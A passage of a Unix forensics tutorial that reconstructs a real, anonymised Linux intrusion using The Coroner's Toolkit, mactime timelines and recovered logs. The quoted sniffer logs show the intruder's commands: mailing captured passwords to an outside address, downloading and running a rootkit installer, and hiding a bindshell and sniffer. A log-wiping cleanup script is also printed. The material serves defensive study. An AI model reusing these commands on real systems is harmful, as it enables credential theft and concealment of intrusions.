TOO MANY LOGIN TRIES (%d) FROM %s FOR %s, %s
FAILED LOGIN SESSION FROM %s FOR %s, %s
Login incorrect
.hushlogin
%s/%s
/var/run/utmp
/var/log/wtmp
/bin/sh
TERM
dumb
HOME
/usr/local/bin:/bin:/usr/bin
PATH
/sbin:/bin:/usr/sbin:/usr/bin
SHELL
/var/spool/mail
MAIL
LOGNAME
DIALUP AT %s BY %s
ROOT LOGIN ON %s FROM %s
ROOT LOGIN ON %s
LOGIN ON %s BY %s FROM %s
LOGIN ON %s BY %s
You have %smail.
new
login: failure forking: %s
setuid() failed
No directory %s!
Logging in with home = "/".
login: no memory for shell script.
exec
login: couldn't exec shell script: %s.
login: no shell: %s.
%s login:
login name much too long.
NAME too long
login names may not start with '-'.
too many bare linefeeds.
EXCESSIVE linefeeds
Login timed out after %d seconds
/etc/securetty
/etc/motd
/var/log/lastlog
Last login: %.*s
from %.*s
on %.*s
LOGIN FAILURE FROM %s, %s
LOGIN FAILURE ON %s, %s
%d LOGIN FAILURES FROM %s, %s
%d LOGIN FAILURES ON %s, %s
. . .
The strings show similar prompts and error messages, plus a reference
to "hushlogin", all features that make it look like a trojan horse
version of login.
Symbol information is included in compiled/linked objects, unless
removed with the strip program. You can see the symbols
using the nm program.
# nm chx
chx: no symbols
... or not. In this case, they have been stripped. You may also
learn something from dynamic link libraries. To see these, use
ldd.
# ldd chx
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40018000)
libpam.so.0 => /lib/libpam.so.0 (0x40045000)
libdl.so.2 => /lib/libdl.so.2 (0x4004d000)
libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40050000)
libc.so.6 => /lib/libc.so.6 (0x40054000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
This shows use of the Pluggable Authentication Module (PAM) facilities
and the crypt() libraries, so it has some need for user
authentication facilities. This would be consistent with a
login trojan horse.
This exercise has shown that a great deal can be learned by following
simple evidence, but in many cases the intruders are more
sophisticated and do not take such obvious actions as setting up user
accounts and leaving files in easily located directories. More
efficient and thorough tools may be necessary.
For examples of the use of some of the other tools mentioned at the
beginning (e.g., lsof), see "The
DoS Project's "trinoo" distributed denial of service attack tool"
and "The
"mstream" distributed denial of service attack tool".
The Coroner's Toolkit
The Coroner's Toolkit (or "TCT") is a package of utilities written
by Dan Farmer and Wietse Venema for a
one-time course they
taught on computer forensics, sponsored by IBM.
The central programs in TCT are:
- grave-robber
A data capturing tool, most commonly used to gather i-node
information for use by mactime
- unrm and lazarus
Tools for recovery of deleted file space and for processing this (or
other, e.g., RAM or swap space) memory to attempt to identify and
recover lost or hidden data
- mactime
A program for time-ordering files/directories in the file system
based on modification, access, and
change ("MAC" for short) i-node time stamps
Of these tools, the most useful for ease of use and fruitful results,
are the grave-robber and mactime programs.
unrm (and lazarus, if you have the luxury of time
and lots of disc space) are also useful for finding "lost" data,
especially deleted system logs and intruder source code.
The most basic function of grave-robber is to traverse
some/all of the file system and use the stat() function
to obtain information from i-nodes in the file system. The
mactime program then sorts the results and produces a
time-ordered list of files, showing the time, which of the
three timestamps -- modification, access, or change
-- correspond, and shows file type, size, ownership, and path.
From this listing, you will be able to infer some of the activity on
the system during the time the intruder(s) were on the system. This
may include installation of trojan horse "backdoors" and replacement
of operating system commands, downloading of tools, modification to
system libraries or installed packages, creation of hidden
directories, execution of operating system commands, and
compilation/linking of programs. A great deal of information that
otherwise is not logged can be gleaned from mactime output.
Before you assume that these tools will show you everything, and
recover all deleted files, think again!. Read van Hauser's
paper on "Anonymizing
Unix Systems" for more on how intruders can make your job much
more difficult.
Using The Coroner's Toolkit
Note: These instructions are based on the May 5, 2000 version
of TCT, which is a pre-release Beta version. It is expected that
these tools will be publicly released at some time in the
future. The instructions here may or may not apply to the final
release version, but you get the basic idea.
Example report of evidence found on a compromised system
We will now take a look at a more complete report of activity on a
system, obtained from detailed analyses of sniffer log files, login
records, file system timestamps, and file system contents from several
systems/sites involved in the incident. This is from an actual
compromise, but all identifying information has been edited out.
The following is an analysis of the root (only) partition from
XXXXXXXXXXXXXXXXXXXXXX as it existed after being taken off-line when it
was discovered it was compromised and likely running a network sniffer.
(A tar format copy of this file system is available on ISO 9660 CD-R).
The host XXXXXXXXXXXXXXXXXXXXXX was one of a series of 19 systems
suspected to have all been compromised by the same group of intruders
in early XXX XXXX, using the Linux mountd buffer overrun bug
documented in CERT Advisory CA-98.12:
http://www.cert.org/advisories/CA-98.12.mountd.html
The drive was analyzed using the tools assembled by Dan Farmer and
Wietse Venema in their "Coroner's Toolkit", used in a class on Unix
forensic analysis. See:
http://www.fish.com/security/forensics.html
On the analysis system, the disc appears as device /dev/hdc. The first
partition, /dev/hdc1, was mounted "read-only" on the mount point "/x".
As a result, all paths will be preceded by this path, rather than simply
the single "/". The actual drive geometry is shown here:
-----------------------------------------------------------------------------
Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders
Units = cylinders of 2016 * 512 bytes
Device Boot Start End Blocks Id System
/dev/hdc1 1 793 799312+ 83 Linux
/dev/hdc2 794 825 32256 82 Linux swap
-----------------------------------------------------------------------------
As the bulk of intrusions appeared to start in early XXXXXXXX, sorted
timestamp listings were started from XXX 01.
There were no obvious signs modified/installed files which indicate the
method of intrusion between XXX 01 and XXX 04. On XXX 04,
the Berkeley "r" utility remote login daemon ("in.rlogind") is modified.
-----------------------------------------------------------------------------
XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
-----------------------------------------------------------------------------
Examination of strings in this program show it to be a trojan horse
network daemon that uses the same string found on other systems
compromised by this group, the word "XXXXXXXX":
-----------------------------------------------------------------------------
. . .
rlogind
ahLln
XXXXXXXX
Can't get peer name of remote host: %m
Can't get peer name of remote host
setsockopt (SO_KEEPALIVE): %m
setsockopt (IP_TOS): %m
hname != NULL
rlogind.c
. . .
-----------------------------------------------------------------------------
Eight days later, it shows a change, at the same time the "chown"
program is run:
-----------------------------------------------------------------------------
XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root /x/usr/sbin/in.rlogind
XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin /x/bin/chown
-----------------------------------------------------------------------------
A half hour later, a source file for a sniffer ("linsniff.c") is copied
into a hidden directory in /etc/ (named "/etc/.. ", that is
dot-dot-space-space-space, which is turned into "/etc/..___" for this
listing.)
The program is then compiled (include files indicating a network aware
program are accessed) and placed into a system directory in the file
"/usr/sbin/telnetd".
Four minutes later, an incoming ftp connection is apparently made
(as seen by an access to the "wu.ftpd" program and its process id
file):
-----------------------------------------------------------------------------
XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/..___/linsniff.c
XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h
3143 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h
3145 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h
1910 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/ip.h
2234 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/route.h
1381 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h
XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin /x/usr/sbin
XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin /x/usr/sbin
XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root /x/usr/sbin/telnetd
XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root /x/usr/sbin/telnetd
XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin /x/usr/sbin/wu.ftpd
XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root /x/var/pid/ftp.pids-remote
-----------------------------------------------------------------------------
The login session that corresponds with this file system activity
can be identified from strings in the deleted file space of the root
partition on XXXXXXX:
-----------------------------------------------------------------------------
XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX
XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX
XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX
. . .
XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1
XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX
XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX
XXX 12 11:41:59 XXXX ftpd[1327]: PASS password
XXX 12 11:42:00 XXXX ftpd[1327]: SYST
XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp
XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image
XXX 12 11:42:06 XXXX ftpd[1327]: PORT
XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd
XXX 12 11:42:08 XXXX ftpd[1327]: QUIT
XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed
XXX 12 12:00:25 XXXX in.telnetd[1342]: connect from AAAAAA.XXXXXX.XXX
XXX 12 12:00:25 XXXX telnetd[1342]: ttloop: peer died: Try again
-----------------------------------------------------------------------------
Also seen in these logs is the downloading of the mountd buffer overrun
exploit (the file "mountd"), which they were using to break in to the
Linux systems. (Is this the exploit? Need to check filesystem.)
From this, it can be infered that the intruder has an active session on
AAAAAA.XXXXXX.XXX [XXX.XXX.XXX.XX] that runs from some time prior to
11:33:05 to at least 12:00:25 PST (which is 14:33:05 to 15:00:25 EST,
the timezone in which XXXXXX.XXX resides).
Strings in "/usr/sbin/telnetd" show this to be the sniffer just
compiled. The default sniffer log file name ("tcp.log") is also
visible:
-----------------------------------------------------------------------------
. . .
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
eth0
tcp.log
cant open log
Exiting...
. . .
-----------------------------------------------------------------------------
On XXXXXXXX 13, another network aware program is compiled, which uses
many more facilities than the sniffer. (The fact that no binary appears
to exist with modification/change dates at this time may indicate it was
run and deleted as a tactic to hide its presence from the system owner,
or just subsequently deleted by the intruders or system administrator.)
-----------------------------------------------------------------------------
XXX 13 XX 10:01:46 55492 .a. -rwxr-xr-x root root /x/usr/bin/gcc
6211 .a. -rw-r--r-- root root /x/usr/include/stdio.h
92696 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cpp
1003 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/specs
XXX 13 XX 10:01:47 2767 .a. -rw-r--r-- root root /x/usr/include/_G_config.h
1441 .a. -rw-r--r-- root root /x/usr/include/alloca.h
2040 .a. -rw-r--r-- root root /x/usr/include/confname.h
1267 .a. -rw-r--r-- root root /x/usr/include/errno.h
4186 .a. -rw-r--r-- root root /x/usr/include/features.h
4434 .a. -rw-r--r-- root root /x/usr/include/gnu/types.h
7917 .a. -rw-r--r-- root root /x/usr/include/libio.h
380 .a. -rw-r--r-- root root /x/usr/include/posix_opt.h
4419 .a. -rw-r--r-- root root /x/usr/include/signal.h
15134 .a. -rw-r--r-- root root /x/usr/include/stdlib.h
7537 .a. -rw-r--r-- root root /x/usr/include/string.h
3909 .a. -rw-r--r-- root root /x/usr/include/sys/cdefs.h
4538 .a. -rw-r--r-- root root /x/usr/include/sys/socket.h
321 .a. -rw-r--r-- root root /x/usr/include/sys/types.h
25129 .a. -rw-r--r-- root root /x/usr/include/unistd.h
8841 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/stddef.h
1029 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/types.h
6298 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/errno.h
2065 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/signal.h
2794 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/socket.h
3846 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/sockios.h
2621 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/types.h
XXX 13 XX 10:01:48 3668 .a. -rw-r--r-- root root /x/usr/include/arpa/inet.h
734 .a. -rw-r--r-- root root /x/usr/include/bytesex.h
1555 .a. -rw-r--r-- root root /x/usr/include/endian.h
3248 .a. -rw-r--r-- root root /x/usr/include/limits.h
6390 .a. -rw-r--r-- root root /x/usr/include/netdb.h
2663 .a. -rw-r--r-- root root /x/usr/include/netinet/in.h
3562 .a. -rw-r--r-- root root /x/usr/include/paths.h
2643 .a. -rw-r--r-- root root /x/usr/include/posix1_lim.h
2680 .a. -rw-r--r-- root root /x/usr/include/posix2_lim.h
3777 .a. -rw-r--r-- root root /x/usr/include/sys/bitypes.h
709 .a. -rw-r--r-- root root /x/usr/include/sys/param.h
2315 .a. -rw-r--r-- root root /x/usr/include/sys/time.h
5273 .a. -rw-r--r-- root root /x/usr/include/sys/wait.h
2852 .a. -rw-r--r-- root root /x/usr/include/time.h
1156 .a. -rw-r--r-- root root /x/usr/include/waitflags.h
3724 .a. -rw-r--r-- root root /x/usr/include/waitstatus.h
1418196 .a. -rwxr-xr-x root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/cc1
3049 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/limits.h
330 .a. -r--r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/include/syslimits.h
2101 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/byteorder.h
266 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/asm-i386/param.h
3965 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/in.h
720 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/limits.h
78 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/param.h
1146 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/time.h
313 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/version.h
698 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/wait.h
XXX 13 XX 10:01:57 117668 .a. -rwxr-xr-x root bin /x/usr/bin/as
XXX 13 XX 10:01:58 145695 .a. -rwxr-xr-x root bin /x/usr/bin/ld
XXX 13 XX 10:01:59 1088 .a. -rw-r--r-- root root /x/usr/lib/crt1.o
1216 .a. -rw-r--r-- root root /x/usr/lib/crtbegin.o
1212 .a. -rw-r--r-- root root /x/usr/lib/crtend.o
624 .a. -rw-r--r-- root root /x/usr/lib/crti.o
396 .a. -rw-r--r-- root root /x/usr/lib/crtn.o
204146 .a. -rw-r--r-- root root /x/usr/lib/gcc-lib/i486-linux/2.7.0/libgcc.a
-----------------------------------------------------------------------------
On XXX 14, "ncftp" (a File Transfer Protocol, or FTP, client) is
run:
-----------------------------------------------------------------------------
XXX 14 XX 00:42:50 146881 .a. -rwxr-xr-x root bin /x/usr/bin/ncftp
-----------------------------------------------------------------------------
Login records from the system XXXXXXX.XXXXXXX.XXX (aka "XXX.XXX") show a
login to XXXXXXX.XXXXXXX.XXX at this time (XXXXXXX is also in the EST,
or +0300 hours ahead of PST), which is bounded before and after by
connections directly from CCCCCCCC.XXXXXXXX.XXX,
XXXXXXXXXXXXX.washington.edu, and XXXXXXXXXXXX.washington.edu:
-----------------------------------------------------------------------------
XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:46 - 04:08 (00:21)
XXX ftp XXXXXXX.washingt Sat XXX 14 03:46 - 03:46 (00:00)
XXX ftp XXXXXXXX.XXXXXXX Sat XXX 14 03:38 - 03:40 (00:02)
XXX ftp XXXXXXXXXXXXX.wa Sat XXX 14 03:37 - 03:39 (00:02)
XXX ftp XXXXXXXXXXXX.was Sat XXX 14 03:19 - 03:20 (00:00)
-----------------------------------------------------------------------------
There is only one occurrence of the "ncftp" command logged by a sniffer
on XXXXXXX (line 347 in "tcp.log"). Weaknesses in the way linsniff
detects sessions means that this may not be the actual event itself, and
if it were, the logging of the telnet session could miss the ftp
connection to XXXXXXX.XXXXXXX.XXX:
-----------------------------------------------------------------------------
XXXXXXXXXXXXX.washington.edu => XXXXXXX.washington.edu [23]
!"'%W#$ 38400,38400vt100bdoor
password
w
su r00t
cd /etvc
cd ".. "
ls
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
cat /etc/".. "/tcp.log | mail hackeraccount@hotmail.com
ncftp -u ls
cp tcp.log 1
ls
ncftp -y XXX.XXX
[A[D[D[D[D[D[D[D[Du
----- [Timed Out]
-----------------------------------------------------------------------------
This ties the person using XXXXXXXXX, at the time the sniffer log file
was transferred to XXXXXXX.XXXXXXX.XXX, with CCCCCCCC.XXXXXXXX.XXX.
Four hours later, someone runs the "whoami" program, then later adds or
deletes a file from the hidden directory in /etc.
-----------------------------------------------------------------------------
XXX 14 XX 04:07:42 3797 .a. -rwxr-xr-x root bin /x/usr/bin/whoami
XXX 14 XX 04:08:18 1024 m.c drwxr-xr-x root root /x/etc/..___
-----------------------------------------------------------------------------
Later on the night of XXX 14, in.identd is run. The in.identd daemon
is used to identify the username associated with a connection attempt
to a remote service. This is required by some Internet Relay Chat
servers, so this could indicate that someone made a connection to an
IRC server from this system at this time.
Also occurring are connections to the POP mail server daemon
("in.pop3d"), the Berkeley "r" utility login daemon ("in.rlogind"),
and a connection to the NFS mount daemon ("rpc.mountd"). The
rpc.mountd connection is immediately followed by execution of the "id"
command (this is the signature of the ADM mountd buffer overrun
exploit, which starts a shell and returns the process id of the NFS
mountd service daemon, usually root).
The intruder then uses this shell to create the directory
"/var/tmp/XXXXX" and install backdoor programs, log file cleanup
utilities, and a sniffer. Modification of several log files indicates
that the cleanup programs were run at this time to conceal the intrusion
(including zeroing out the contents of several log files):
-----------------------------------------------------------------------------
XXX 14 XX 20:25:14 13004 .a. -rwxr-xr-x root bin /x/usr/sbin/in.identd
XXX 14 XX 22:24:52 15029 .a. -rwxr-xr-x root bin /x/usr/sbin/in.pop3d
XXX 15 XX 02:22:24 23421 .a. -rwxr-xr-x root root /x/usr/sbin/in.rlogind
XXX 15 XX 02:23:07 25217 .a. -rwxr-xr-- root bin /x/usr/sbin/rpc.mountd
XXX 15 XX 02:23:08 7705 .a. -rwxr-xr-x root bin /x/usr/bin/id
XXX 15 XX 02:24:22 28550 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/fix
13508 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
XXX 15 XX 02:24:23 13508 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/login.bak
1375 mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/readme
XXX 15 XX 02:24:39 26314 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:41 26314 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/bindshell
27942 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/linsniffer
XXX 15 XX 02:24:43 1126 m.c -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XX mac -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/imapdis
XXX 15 XX 02:24:59 4665 .a. -rwxr-xr-x root bin /x/usr/bin/basename
XXX 15 XX 02:25:03 0 mac -rw-r--r-- root root /x/var/log/cron
XXX 15 XX 02:25:04 0 ma. crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 02:25:06 0 .a. -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:25:08 0 .a. -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:25:12 2699 .a. -rw-r--r-- root root /x/var/log/syslog
XXX 15 XX 02:25:15 131968 .a. -rwxr-xr-x root bin /x/usr/bin/gawk
5941 .a. -rwxr-xr-x root bin /x/usr/bin/wc
0 .a. -rw-r--r-- root root /x/var/log/xferlog
1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX
1126 .a. -rwxr-xr-x root root /x/var/tmp/XXXXX/programs/clean
XXX 15 XX 02:25:54 2802 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.inet2
XXX 15 XX 02:26:13 12288 m.c -rw-rw-r-- root root /x/etc/psdevtab
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
XXX 15 XX 02:28:37 0 .a. crw-rw-rw- root root /x/dev/ptyp2
XXX 15 XX 02:28:38 0 m.c crw-rw-rw- root root /x/dev/ptyp2
0 mac crw-rw-rw- root root /x/dev/ttyp2
XXX 15 XX 02:29:58 0 m.c -rw-r--r-- root root /x/var/log/lastlog
XXX 15 XX 02:30:06 0 m.c -rw-r--r-- root root /x/var/log/xferlog
XXX 15 XX 02:31:03 66973 .a. -rwxr-xr-x root bin /x/bin/telnet
XXX 15 XX 02:35:01 1024 m.c drwxr-xr-x root root /x/var/log
0 mac -rw-r--r-- root root /x/var/log/sulog
XXX 15 XX 02:35:16 0 m.c -rw-r--r-- root root /x/var/log/debug
XXX 15 XX 02:35:51 0 ma. crw-rw-rw- root root /x/dev/ptyp3
XXX 15 XX 02:35:52 0 ..c crw-rw-rw- root root /x/dev/ptyp3
0 ..c crw-rw-rw- root root /x/dev/ttyp3
XXX 15 XX 03:21:57 1649 m.. -rw-r--r-- root root /x/etc/passwd.OLD
XXX 15 XX 03:22:24 7317 .a. -rwxr-xr-x root bin /x/bin/killall
XXX 15 XX 03:22:40 58605 .a. -rwxr-xr-x root bin /x/bin/ps
25 .a. -rw-r--r-- root root /x/dev/XXXXXXXX/PS
-----------------------------------------------------------------------------
This activity appears to be seen starting at line 471 in the "tcp.log"
sniffer log file (between XXX 14 03:46 from line 348 and XXX 17 20:13
from the last modification date of the file):
---------------------------------------------------------------------------
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [143]
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXXlinux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootXXXX-linux/38400
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [513]
rootr00tlinux/38400t
----- [FIN]
IIIIIIIIII.XXXXXXX.XXX.XX => XXXXXXX.washington.edu [23]
!"'%P#$ 38400,38400linuxXXXXX
XXX
r00t
finger
cd /var/tmp
ls -al
rm -rf .bash*
ftp XXXXXX.XXX.XXX
anonymous
ass
get XXXX.tgz
quituit
tar zxvf XXXX.tgz
chmod +x *
./INSTALL
ls -al
----- [Timed Out]
IIIIIIIIII.XXXXXXX.XXX.XX => GGGGGGG.XXXXXXXXXX.XXX [23]
!"'%P#$ 38400,38400linuxr00t
pico /etc/rc.d/irc.inetd2
rpc.mo.mo.mo.mountd
[A11
mountd
[A2
pmountd
[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C# [B[D[D#[B[D#[B[D# y
pico /etc/inetd.conf
[6~[6~killall -HUP inetd
cat /etc/inetd.conf
ps aux
kill -9 cd /dev
mkdir XXXXXXXX
cd XXXXXXXX
pico LS
XXXXXXXX
XXXXXy
pico PS
3 bindshell
3 linsniffery
ps aux
kill -9 2541
f
----- [Timed Out]
---------------------------------------------------------------------------
This shows the intruder editing the rootkit configuration file for
"ls" (named "LS") to hide files/directories with "XXXXXXXX" and
"XXXXX" in their names, and the rootkit configuration file for "ls"
(named "PS") to hide processes with "bindshell" and "linsinffer" in
their names.
(The "y" seen in the strings "XXXXXy" and "linsniffery" are artifacts
of the intruder using the "pico" editor. The pico command to save
files is Ctrl-X. If the file has been modified in any way, pico
prompts the user:
Save modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ?
The user must then type "y" to save the file. The sniffer is not
showing control characters, but the "y" does show up.)
The sniffer log entry here shows the XXXXXXXX directory being created,
then the files "LS" and "PS" being edited, in that order. This can be
seen in the mactime listing, likely tying this event to XXX 15 at
02:26:
---------------------------------------------------------------------------
XXX 15 XX 02:26:26 7416 .a. -rwxr-xr-x root bin /x/bin/mkdir
XXX 15 XX 02:26:33 15 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/LS
XXX 15 XX 02:26:40 1024 m.c drwxr-xr-x root root /x/dev/XXXXXXXX
25 m.c -rw-r--r-- root root /x/dev/XXXXXXXX/PS
---------------------------------------------------------------------------
On XXX 16, someone creates a backup copy ("sniffer.log.save") of
a sniffer log file ("sniffer.log") in the directory
"/var/tmp/XXXXX/programs". These sniffer logs also show logins from
intruders, who then access the sniffer log file "tcp.log"):
-----------------------------------------------------------------------------
XXX 16 XX 21:55:34 36088 .a. -rwxr-xr-x root bin /x/bin/netstat
XXX 16 XX 21:58:27 1024 m.c drwxrwxrwx root root /x/var/tmp
XXX 16 XX 21:58:52 6 .a. -rw-r--r-- root root /x/root/temp.txt
XXX 16 XX 22:50:33 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX
XXX 16 XX 22:51:02 6644 .a. -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
XXX 16 XX 22:57:16 1024 .a. drwxr-xr-x root root /x/var/tmp/XXXXX/programs
XXX 16 XX 23:39:51 1024 m.c drwxr-xr-x root root /x/var/tmp/XXXXX/programs
4992 mac -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log.save
-----------------------------------------------------------------------------
The file "/root/temp.txt" contains the string "blah" on one line, and
another blank line. (It is not known what purpose this file serves.)
On XXX 17, a password is changed and a backup copy of the password
file is created.
-----------------------------------------------------------------------------
XXX 17 XX 12:44:50 153384 .a. -rws--x--x root bin /x/usr/bin/passwd
XXX 17 XX 12:45:05 1649 m.c -rw-r--r-- root root /x/etc/passwd
1649 ..c -rw-r--r-- root root /x/etc/passwd.OLD
-----------------------------------------------------------------------------
Later on XXXXXXXX 17, someone logs in using telnet. Line printer status
is apparently obtained. Modifications to /dev/console indicate a
console login occurred as well. Modification/change dates are altered on
both sniffer logs, one "/etc/.. /tcp.log" and the other
"/var/tmp/XXXXX/programs/sniffer.log", which could indicate they are
shut down:
-----------------------------------------------------------------------------
XXX 17 XX 20:13:44 296 .a. -rw-r--r-- root root /x/etc/hosts.deny
40907 .a. -rwxr-xr-x root bin /x/usr/sbin/tcpd
XXX 17 XX 20:13:45 40685 .a. -rwxr-xr-x root bin /x/usr/sbin/in.telnetd
25 m.c -rw-rw-r-- root root /x/var/spool/lp1/status
XXX 17 XX 20:13:46 0 m.. crw-rw-rw- root root /x/dev/console
0 .a. crw-rw-rw- root root /x/dev/ptyp0
0 m.. crw-rw-rw- root root /x/dev/ttyp0
18476 m.c -rw-r--r-- root root /x/etc/..___/tcp.log
6644 m.c -rw-r--r-- root root /x/var/tmp/XXXXX/programs/sniffer.log
XXX 17 XX 20:13:50 0 ..c crw-rw-rw- root root /x/dev/console
0 ..c crw-rw-rw- root root /x/dev/ptyp0
0 ..c crw-rw-rw- root root /x/dev/ttyp0
-----------------------------------------------------------------------------
On XXX 18, sendmail is run. There is evidence in one of the sniffer
log files ("/etc/.. /tcp.log") that shows the intruder mailing a
copy of the tcp.log sniffer log to an email address, which most likely
occurred at this time:
-----------------------------------------------------------------------------
XXX 18 XX 05:30:26 164060 .a. -r-sr-Sr-x root bin /x/usr/sbin/sendmail
-----------------------------------------------------------------------------
In addition to analyzing the active file system, all deleted files were
recovered using "unrm" from the Coroner's Toolkit. Simple examination
of the strings in the resulting file reveals several deleted scripts
and log files.
The following is part of a rootkit installation/cleanup script:
-----------------------------------------------------------------------------
cp /var/tmp/imap-d /var/tmp/XXXXX/programs/imapdis
rm -rf /var/tmp/imap-d
echo "6. cleaning logs"
cd /var/tmp/XXXXX
cp /var/tmp/clean /var/tmp/XXXXX/programs/clean
rm -rf /var/tmp/clean
/var/tmp/XXXXX/programs/clean XXXXXXX 1>/dev/null 2>/dev/null
/var/tmp/XXXXX/programs/clean XXX.XXX 1>/dev/null 2/dev/null
/var/tmp/XXXXX/programs/clean XXXX 1>/dev/null 2>/dev/null
echo "rootkit complete"
echo "rember to disable imapd"
echo "EOF"
-----------------------------------------------------------------------------
The following are portions of deleted system log files that show
connections from various intruder points of origin.
-----------------------------------------------------------------------------
XXX 11 15:26:11 XXXX in.fingerd[864]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX in.telnetd[865]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:11 XXXX telnetd[865]: ttloop: peer died: Try again
XXX 11 15:26:12 XXXX in.pop3d[866]: connect from XXX-XXX-14.XXXXXXXXX.XXX
XXX 11 15:26:13 XXXX in.telnetd[867]: connect from XXX-XXX-14.XXXXXXXXX.XXX
. . .
XXX 12 05:36:20 XXXX in.telnetd[1126]: connect from DDDDDD.XXXXXX.XXX
. . .
XXX 12 11:01:52 XXXX in.telnetd[1213]: connect from EEEEEEE.XXX.XXX
XXX 12 11:02:21 XXXX su: XXXXX on /dev/ttyp1
. . .
XXX 12 11:04:28 XXXX in.rlogind[1229]: connect from CCCCCCCC.XXXXXXXX.XXX
